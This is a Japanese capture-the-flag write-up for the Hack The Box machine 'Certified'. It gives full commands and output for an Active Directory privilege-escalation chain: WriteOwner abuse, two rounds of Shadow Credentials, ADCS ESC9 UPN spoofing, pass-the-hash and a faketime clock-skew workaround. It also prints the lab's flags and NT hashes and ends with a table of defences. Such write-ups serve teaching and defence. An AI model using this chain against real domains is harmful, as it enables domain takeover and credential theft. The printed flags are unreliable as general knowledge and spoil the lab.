Hack The BoxのWriteup(Certified)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Certified — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (53/88/389/445/636等)
→
judith.mader:judith09
事前付与された低権限資格情報
→
WriteOwner濫用
managementグループ掌握
→
Shadow Credentials
management_svc NTハッシュ奪取
→
user.txt ✓
→
Shadow Credentials
ca_operator NTハッシュ奪取
→
ADCS ESC9
UPN偽装+証明書要求
→
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 53,88,135,139,389,445,636,3268,3269,5985,9389 10.129.231.186
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Active Directory LDAP (Domain: certified.htb)
|_ssl-date: ... +7h00m06s from scanner time
445/tcp  open  microsoft-ds
5985/tcp open  http          Microsoft-HTTPAPI/2.0 (WinRM)
9389/tcp open  mc-nmf        .NET Message Framing (AD Web Services)
Service Info: Host: DC01; OS: Windows
🚨
重要な伏線: nmapのSSL証明書検査が +7h00m06s from scanner time というKaliとターゲットの時刻ズレを既に報告している。これは後のPhase5で Kerberos PKINIT認証が KRB_AP_ERR_SKEW(クロックスキュー過大)で失敗する 直接の原因になる。

vhost登録

BASH
echo "10.129.231.186 certified.htb DC01.certified.htb" | sudo tee -a /etc/hosts
PHASE 2

WriteOwner濫用 — managementグループの掌握

BloodHoundでACLチェーンを確認

BASH
bloodhound-python -u judith.mader -p judith09 -d certified.htb \
  -ns 10.129.231.186 -c All --zip
NOTE
BloodHoundで判明するACLチェーン:
  judith.mader --WriteOwner--> management (グループ)
  management   --GenericWrite--> management_svc (ユーザー、WinRM可)

所有者変更 → GenericAll付与 → 自身をメンバー追加

BASH (bloodyAD)
bloodyAD --host 10.129.231.186 -d certified.htb -u judith.mader -p judith09 \
  set owner management judith.mader

bloodyAD --host 10.129.231.186 -d certified.htb -u judith.mader -p judith09 \
  add genericAll management judith.mader

bloodyAD --host 10.129.231.186 -d certified.htb -u judith.mader -p judith09 \
  add groupMember management judith.mader
BASH (メンバーシップ確認)
net rpc group members management -U certified.htb/judith.mader%judith09 \
  -S 10.129.231.186
RESULT
CERTIFIED\judith.mader
management グループのメンバーに judith.mader が追加された
ℹ️
WriteOwner権限は「オブジェクトの所有者を自分自身に変更できる」権限。 所有者になると(ACLに明示エントリが無くても)暗黙的にDACLを書き換えられるため、 GenericAllを自分に付与→グループへの自己追加、という3段階の操作で managementグループを完全に乗っ取れる。
PHASE 3

Shadow Credentials (management_svc) → user.txt

GenericWriteでShadow Credentialsを仕込む

BASH
certipy-ad shadow auto -u judith.mader@certified.htb -p judith09 \
  -account management_svc -dc-ip 10.129.231.186
RESULT
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Generating Key Credential
[*] Adding Key Credential with device ID '...' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: 'management_svc@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584
ℹ️
Shadow Credentials攻撃: 対象ユーザーのmsDS-KeyCredentialLink 属性(GenericWrite権限で書込み可能)に攻撃者が生成した公開鍵証明書を追加し、 その証明書でPKINIT(証明書ベースのKerberos事前認証)を行うことでTGTを取得、 さらにU2U経由でNTハッシュまで復元できる。対象のパスワードを一切知らなくても 完全に乗っ取れる強力な手法。

Pass-the-HashでWinRM接続 → user.txt

BASH
evil-winrm -i 10.129.231.186 -u management_svc \
  -H a091c1832bcdd4677c28b5a6a1295584
BASH (evil-winrmシェル内)
*Evil-WinRM* PS C:\Users\management_svc\Desktop> type user.txt
RESULT
cd6e60e83a9e08baf158d76ddc6064b6
user.txt — management_svc@certified
cd6e60e83a9e08baf158d76ddc6064b6
PHASE 4

ca_operator の奪取 (GenericAll)

management_svc から ca_operator へ同じ手口

NOTE
BloodHoundでさらに辿ると、management_svc は ca_operator に対して
GenericAll権限を保有している。同じShadow Credentials攻撃をもう一段階
適用できる。
BASH
certipy-ad shadow auto -u management_svc@certified.htb \
  -hashes a091c1832bcdd4677c28b5a6a1295584 \
  -account ca_operator -dc-ip 10.129.231.186
RESULT
[*] Got TGT
[*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2
ℹ️
ca_operatorという名前の通り、このユーザーは後述するADCS証明機関(CA)の 証明書テンプレートに対するEnroll(発行申請)権限を持つ特別なアカウント。 ここまでの2段階のShadow Credentials攻撃(judith.mader→management_svc→ca_operator)で、 最終的にCA操作権限を持つアカウントまで権限昇格できた。
PHASE 5

ADCS ESC9 (No Security Extension) → root.txt

certipy find で脆弱なテンプレートを特定

BASH
certipy-ad find -u ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 \
  -dc-ip 10.129.231.186 -vulnerable -stdout
RESULT
Certificate Authorities
    CA Name                 : certified-DC01-CA
Certificate Templates
    Template Name           : CertifiedAuthentication
    Enrollment Flag         : PublishToDs
                              AutoEnrollment
                              NoSecurityExtension
    Enrollment Rights       : CERTIFIED.HTB\operator ca
                              CERTIFIED.HTB\Domain Admins
    [!] Vulnerabilities
      ESC9                  : 'operator ca' can enroll and template has no security extension
🚨
ESC9の原理: テンプレートにNoSecurityExtensionフラグが 立っていると、発行される証明書にszOID_NTDS_CA_SECURITY_EXT (対象のSIDを埋め込む拡張)が付与されない。この場合、証明書を使った認証時に Windowsは証明書のSAN(UPN)フィールドだけを見てユーザーを特定する。 つまり自分のUPNを一時的に別のユーザー(Administrator)に書き換えてから 証明書を発行させれば、そのユーザーになりすませる。

ca_operator のUPNをAdministratorに変更

BASH
certipy-ad account update -u management_svc@certified.htb \
  -hashes a091c1832bcdd4677c28b5a6a1295584 \
  -user ca_operator -upn Administrator -dc-ip 10.129.231.186
RESULT
[*] Updating user 'ca_operator':
    userPrincipalName    : Administrator
[*] Successfully updated 'ca_operator'
ℹ️
UPN変更にはmanagement_svc(ca_operatorへのGenericAll保有者)の 資格情報を使う。ca_operator自身の資格情報でも理論上は可能だが、権限関係が 素直なmanagement_svcを使う方が確実。

CertifiedAuthenticationテンプレートで証明書を要求

BASH
certipy-ad req -u ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 \
  -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.129.231.186
RESULT
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate and private key to 'administrator.pfx'
ℹ️
この証明書要求自体はNTLMハッシュ(-hashes)ベースのRPC通信であり Kerberosを必要としないため、クロックスキューの影響を受けない。

UPNを元に戻す(重要な後始末)

BASH
certipy-ad account update -u management_svc@certified.htb \
  -hashes a091c1832bcdd4677c28b5a6a1295584 \
  -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.129.231.186
⚠️
証明書を取得した後、ca_operatorのUPNを必ず元の値に戻すこと。 戻さないままにすると、ドメインに同名の重複UPNが残り他の認証処理に 副作用を及ぼす可能性があるほか、検知されやすい痕跡にもなる。

ハマりどころ: KRB_AP_ERR_SKEW (クロックスキュー)

BASH
certipy-ad auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.129.231.186
RESULT (修正前、失敗)
[*] Certificate identities:
[*]     SAN UPN: 'Administrator'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
🚨
重要発見: certipy authはPFX証明書を使ってPKINITで TGTを要求するため、Kerberos認証そのものに依存する。Phase1のnmapで 確認した通りKaliとターゲットの時刻が7時間以上ズレており、既定のKerberosクロック 許容範囲(通常5分)を大幅に超えるため認証が拒否される。ntpdateで システム時計を同期しても、その後の別のコマンド呼び出しの間に時刻がまた ズレ戻ることがあり、1回だけの同期では不十分な場合がある。
BASH (faketimeで確実に回避)
# ターゲットの正確な時刻を取得
net time -S 10.129.231.186
# 例: Thu Oct  2 07:41:39 2026

# faketimeでKerberos依存コマンドだけを正しい時刻に偽装して実行
faketime "Thu Oct  2 07:41:39 2026" certipy-ad auth \
  -pfx administrator.pfx -domain certified.htb -dc-ip 10.129.231.186
RESULT
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
✅
解決策: システム全体の時計をntpdateで恒久的に合わせようと するのではなく、net time -S <target>でターゲットの正確な時刻を 取得し、Kerberosに依存する個々のコマンドだけをfaketime "<時刻>" <コマンド> で直接ラップする方が確実。システムクロックへの副作用もなく、呼び出しごとに 独立して正しい時刻を保証できる。

Administrator権限でroot.txt取得

BASH
evil-winrm -i 10.129.231.186 -u Administrator \
  -H 0d5b49608bbce1751f708748f67e2d34
BASH (evil-winrmシェル内)
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
RESULT
76fd414ca81e754a4eceb291c49c2c3f
root.txt — Administrator@certified
76fd414ca81e754a4eceb291c49c2c3f
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — management_svc@certified
cd6e60e83a9e08baf158d76ddc6064b6
root.txt — Administrator@certified
76fd414ca81e754a4eceb291c49c2c3f

使用した脆弱性

脆弱性・手法 対象 影響 深刻度 利用方法
WriteOwner ACL濫用 management グループ グループ乗っ取り High 所有者を自分に変更→GenericAll付与→自己追加の3段階
Shadow Credentials (×2段) management_svc, ca_operator パスワード不要のアカウント乗っ取り Critical msDS-KeyCredentialLinkに偽証明書追加→PKINIT TGT→NTハッシュ復元
ADCS ESC9 (No Security Extension) CertifiedAuthentication テンプレート 権限昇格 (Domain Admin相当) Critical UPN一時書換え+証明書発行で、SID拘束のない証明書によりAdministratorへなりすまし

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap (AD DC検出、時刻ズレ発見)certified.htb/DC01、+7時間の時刻ズレ
2ACL濫用bloodyAD WriteOwner→GenericAll→addmembermanagement グループ掌握
3横移動Shadow Credentials (certipy shadow auto)user.txt(management_svc)
4横移動Shadow Credentials (2段目)ca_operator NTハッシュ
5権限昇格ADCS ESC9 + faketimeroot.txt(Administrator)

学んだ教訓 & 防御策

問題点防御策
一般ユーザーがグループオブジェクトに対しWriteOwnerを保有 AD ACLの定期監査を実施し、不要なWriteOwner/WriteDACL/GenericWrite権限を削除する。
msDS-KeyCredentialLinkへの書込み権限(GenericWrite)がShadow Credentials攻撃に悪用可能 GenericWriteのような強力な汎用権限ではなく、必要最小限の個別プロパティ権限のみ付与する。Shadow Credentials攻撃の監視(Event ID 5136でmsDS-KeyCredentialLink変更を検知)を有効化する。
証明書テンプレートにNoSecurityExtensionフラグが設定されている(ESC9) 証明書テンプレートの設定を監査し、NoSecurityExtensionフラグを無効化する。可能な限りStrong Certificate Mappingを強制する(KB5014754)。
サンドボックス/攻撃環境とターゲットの時刻が数時間単位でズレていた (これは攻撃環境側の制約だが)Kerberos依存ツールを使う際は事前にnet time -S等で正確な時刻差を把握し、必要に応じてfaketimeでコマンド単位に正しい時刻を与える。本番環境では全ホストでNTPクライアントを正しく設定し5分以内の時刻同期を維持することが大前提。
HackTheBox: Certified | 完全攻略レポート